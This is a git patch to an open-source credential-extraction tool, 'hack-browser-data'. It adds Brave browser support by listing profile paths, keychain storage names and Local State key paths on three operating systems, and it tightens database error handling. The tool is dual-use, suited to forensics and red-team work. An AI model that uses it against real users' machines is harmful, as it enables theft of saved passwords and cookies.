From 25bac647e627dce424cc9e1a61cdfc3cdf9953b6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Mon, 26 Oct 2020 12:39:09 +0800 Subject: [PATCH] feat: support brave browser, Close #31 --- cmd/cmd.go | 2 +- core/browser.go | 1 + core/browser_darwin.go | 6 ++++++ core/browser_linux.go | 8 ++++++++ core/browser_windows.go | 8 ++++++++ core/common/parse.go | 6 ++++++ 6 files changed, 30 insertions(+), 1 deletion(-) diff --git a/cmd/cmd.go b/cmd/cmd.go index 3769073..a64c637 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -23,7 +23,7 @@ func Execute() { Name: "hack-browser-data", Usage: "Export passwords/cookies/history/bookmarks from browser", UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome", - Version: "0.2.4", + Version: "0.2.5", Flags: []cli.Flag{ &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"}, &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "Compress result to zip"}, diff --git a/core/browser.go b/core/browser.go index 29713f9..1768170 100644 --- a/core/browser.go +++ b/core/browser.go @@ -15,6 +15,7 @@ const ( firefoxName = "Firefox" speed360Name = "360speed" qqBrowserName = "qq" + braveName = "Brave" ) type Browser interface { diff --git a/core/browser_darwin.go b/core/browser_darwin.go index 90a285d..d5b1b4f 100644 --- a/core/browser_darwin.go +++ b/core/browser_darwin.go @@ -13,6 +13,7 @@ const ( chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/" + braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" ) var ( @@ -38,6 +39,11 @@ var ( Name: edgeName, New: NewChromium, }, + "brave": { + ProfilePath: braveProfilePath, + Name: braveName, + New: NewChromium, + }, } ) diff --git a/core/browser_linux.go b/core/browser_linux.go index 07a05fe..0b319dc 100644 --- a/core/browser_linux.go +++ b/core/browser_linux.go @@ -13,11 +13,13 @@ const ( fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/" chromeProfilePath = "/home/*/.config/google-chrome/*/" edgeProfilePath = "/home/*/.config/microsoft-edge*/*/" + braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/" ) const ( chromeStorageName = "Chrome Safe Storage" edgeStorageName = "Chromium Safe Storage" + braveStorageName = "Brave Safe Storage" ) var ( @@ -45,6 +47,12 @@ var ( Storage: edgeStorageName, New: NewChromium, }, + "brave": { + ProfilePath: braveProfilePath, + Name: braveName, + Storage: braveStorageName, + New: NewChromium, + }, } ) diff --git a/core/browser_windows.go b/core/browser_windows.go index eb000b9..5778926 100644 --- a/core/browser_windows.go +++ b/core/browser_windows.go @@ -15,6 +15,8 @@ const ( chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/" edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State" + braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/" + braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" speed360KeyPath = "" qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" @@ -58,6 +60,12 @@ var ( Name: firefoxName, New: NewFirefox, }, + "brave": { + ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, + KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, + Name: braveName, + New: NewChromium, + }, } ) diff --git a/core/common/parse.go b/core/common/parse.go index d61b4c8..00fbb99 100644 --- a/core/common/parse.go +++ b/core/common/parse.go @@ -184,6 +184,9 @@ func (c *cookies) ChromeParse(secretKey []byte) error { } }() rows, err := cookieDB.Query(queryChromiumCookie) + if err != nil { + return err + } defer func() { if err := rows.Close(); err != nil { log.Debug(err) @@ -308,6 +311,9 @@ func (h *historyData) ChromeParse(key []byte) error { } }() rows, err := historyDB.Query(queryChromiumHistory) + if err != nil { + return err + } defer func() { if err := rows.Close(); err != nil { log.Debug(err)